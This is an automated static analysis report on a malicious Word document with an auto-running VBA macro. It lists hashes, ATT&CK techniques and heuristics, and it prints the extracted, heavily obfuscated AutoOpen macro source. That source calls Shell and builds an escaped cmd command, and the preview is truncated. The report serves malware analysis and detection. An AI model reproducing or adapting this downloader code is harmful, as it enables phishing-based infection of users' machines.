Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 394566107476e645…

MALICIOUS

Office (OLE)

70.6 KB Created: 2018-09-20 07:37:00 Authoring application: Microsoft Office Word First seen: 2019-06-27
MD5: e6be0b849869ccc9d2518f6d366f84f7 SHA-1: b90c7b35a1cd7ac0f16d9710f222249a0f394e0a SHA-256: 394566107476e645698a072487d684df5b26d140c344651d38b3ad44972f611d
82 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro, specifically an AutoOpen macro, which is a common technique for initial execution. The macro code is heavily obfuscated and truncated, but the presence of an AutoOpen subroutine strongly suggests it is intended to run automatically when the document is opened. This macro likely attempts to download and execute a second-stage payload, aligning with the characteristics of a downloader malware.

Heuristics 4

  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12417 bytes
SHA-256: 99bd2e86f42ec3dd4a578ea9cb483fa6c995d1fa4cd8a5bc16cfe13651275997
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "cLiHQHnABMUj"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Const GPwTluw = 0
   Dim CFMErm(4)
CFMErm(0) = MidB(ltzNqFVB, 769, 963) + Right(SJiiiIQb, 305) + Right(SJiiiIQb, 305) + Right(SJiiiIQb, 305)
CFMErm(1) = Mid(SGlCXRf, 124, 654) + Left(RvdVXDvm, 287) + Right(SJiiiIQb, 305) + Left(RvdVXDvm, 287)
CFMErm(2) = Mid(SGlCXRf, 124, 654) + MidB(ltzNqFVB, 769, 963)
CFMErm(3) = Left(RvdVXDvm, 287) + Left(RvdVXDvm, 287) + Left(RvdVXDvm, 287) + Mid(SGlCXRf, 124, 654)
   Dim wWCaQ(5)
wWCaQ(0) = Left(RvdVXDvm, 287) + MidB(ltzNqFVB, 769, 963) + MidB(ltzNqFVB, 769, 963) + MidB(ltzNqFVB, 769, 963)
wWCaQ(1) = MidB(ltzNqFVB, 769, 963) + Mid(SGlCXRf, 124, 654) + Mid(SGlCXRf, 124, 654) + Right(SJiiiIQb, 305)
wWCaQ(2) = Left(RvdVXDvm, 287) + MidB(ltzNqFVB, 769, 963)
wWCaQ(3) = Right(SJiiiIQb, 305) + MidB(ltzNqFVB, 769, 963) + MidB(ltzNqFVB, 769, 963) + Right(SJiiiIQb, 305)
wWCaQ(4) = Right(SJiiiIQb, 305) + Mid(SGlCXRf, 124, 654)
   Dim aNUHqi(2)
aNUHqi(0) = Right(SJiiiIQb, 305) + Left(RvdVXDvm, 287) + MidB(ltzNqFVB, 769, 963) + MidB(ltzNqFVB, 769, 963)
aNUHqi(1) = Mid(SGlCXRf, 124, 654) + MidB(ltzNqFVB, 769, 963) + Mid(SGlCXRf, 124, 654) + Left(RvdVXDvm, 287)
   Dim HwbJw(2)
HwbJw(0) = Right(SJiiiIQb, 305) + Right(SJiiiIQb, 305) + Left(RvdVXDvm, 287) + Mid(SGlCXRf, 124, 654)
HwbJw(1) = Mid(SGlCXRf, 124, 654) + Right(SJiiiIQb, 305) + MidB(ltzNqFVB, 769, 963) + Right(SJiiiIQb, 305)
   Dim moSRDK(3)
moSRDK(0) = MidB(ltzNqFVB, 769, 963) + Left(RvdVXDvm, 287) + Mid(SGlCXRf, 124, 654) + Mid(SGlCXRf, 124, 654)
moSRDK(1) = Right(SJiiiIQb, 305) + Mid(SGlCXRf, 124, 654)
moSRDK(2) = MidB(ltzNqFVB, 769, 963) + Left(RvdVXDvm, 287)
   Dim joJOlR(3)
joJOlR(0) = Right(SJiiiIQb, 305) + Right(SJiiiIQb, 305) + Left(RvdVXDvm, 287) + Right(SJiiiIQb, 305)
joJOlR(1) = Right(SJiiiIQb, 305) + MidB(ltzNqFVB, 769, 963)
joJOlR(2) = Mid(SGlCXRf, 124, 654) + Mid(SGlCXRf, 124, 654) + Right(SJiiiIQb, 305) + Left(RvdVXDvm, 287)
Shell@ zRfQnjjROkr + KMMjT + cUKmwTjfwb + zhLXTmj, GPwTluw
   Dim wrIHX(4)
wrIHX(0) = Left(RvdVXDvm, 287) + Left(RvdVXDvm, 287)
wrIHX(1) = Left(RvdVXDvm, 287) + Right(SJiiiIQb, 305)
wrIHX(2) = MidB(ltzNqFVB, 769, 963) + Mid(SGlCXRf, 124, 654)
wrIHX(3) = MidB(ltzNqFVB, 769, 963) + MidB(ltzNqFVB, 769, 963) + Mid(SGlCXRf, 124, 654) + Left(RvdVXDvm, 287)
   Dim AWQwo(5)
AWQwo(0) = Left(RvdVXDvm, 287) + Left(RvdVXDvm, 287)
AWQwo(1) = Left(RvdVXDvm, 287) + Right(SJiiiIQb, 305)
AWQwo(2) = Left(RvdVXDvm, 287) + Right(SJiiiIQb, 305) + MidB(ltzNqFVB, 769, 963) + Right(SJiiiIQb, 305)
AWQwo(3) = Mid(SGlCXRf, 124, 654) + MidB(ltzNqFVB, 769, 963)
AWQwo(4) = Right(SJiiiIQb, 305) + MidB(ltzNqFVB, 769, 963)
End Sub


Attribute VB_Name = "WXHToOwMXbi"
Function zRfQnjjROkr()
Dim bBSJV(4)
bBSJV(0) = MidB(ltzNqFVB, 769, 963) + Left(RvdVXDvm, 287)
bBSJV(1) = Left(RvdVXDvm, 287) + Right(SJiiiIQb, 305)
bBSJV(2) = Right(SJiiiIQb, 305) + Mid(SGlCXRf, 124, 654) + Left(RvdVXDvm, 287) + Right(SJiiiIQb, 305)
bBSJV(3) = Mid(SGlCXRf, 124, 654) + Left(RvdVXDvm, 287) + Mid(SGlCXRf, 124, 654) + Right(SJiiiIQb, 305)
   Dim COULY(4)
COULY(0) = MidB(ltzNqFVB, 769, 963) + Mid(SGlCXRf, 124, 654) + Left(RvdVXDvm, 287) + Left(RvdVXDvm, 287)
COULY(1) = MidB(ltzNqFVB, 769, 963) + Right(SJiiiIQb, 305) + Left(RvdVXDvm, 287) + Mid(SGlCXRf, 124, 654)
COULY(2) = Right(SJiiiIQb, 305) + MidB(ltzNqFVB, 769, 963)
COULY(3) = Right(SJiiiIQb, 305) + Mid(SGlCXRf, 124, 654) + MidB(ltzNqFVB, 769, 963) + Left(RvdVXDvm, 287)
aXsCZ = CStr(Chr(CleanString(12 + 18 + 11 + 17 + 41))) + "md /V^:^O" + "/" + CStr(Chr(CleanString(8 + 12 + 8 + 11 + 28))) + CStr(Chr(CleanString(3 + 5 + 3 + 5 + 18))) + "^" + "s^e" + "^t ^qn=  ^ " + "^ ^ ^  ^ ^ " + "   " + "  ^ ^ ^ " + "^}^}^{" + "h" + CStr(Chr(CleanString(12 + 18 + 11 + 17 + 41))) + "^ta" + CStr(Chr(CleanString(12 + 18 + 11 + 17 + 41))) + "^" + "}^;kaer^b;s^" + "Jj^$ me^tI" + "-^
... (truncated)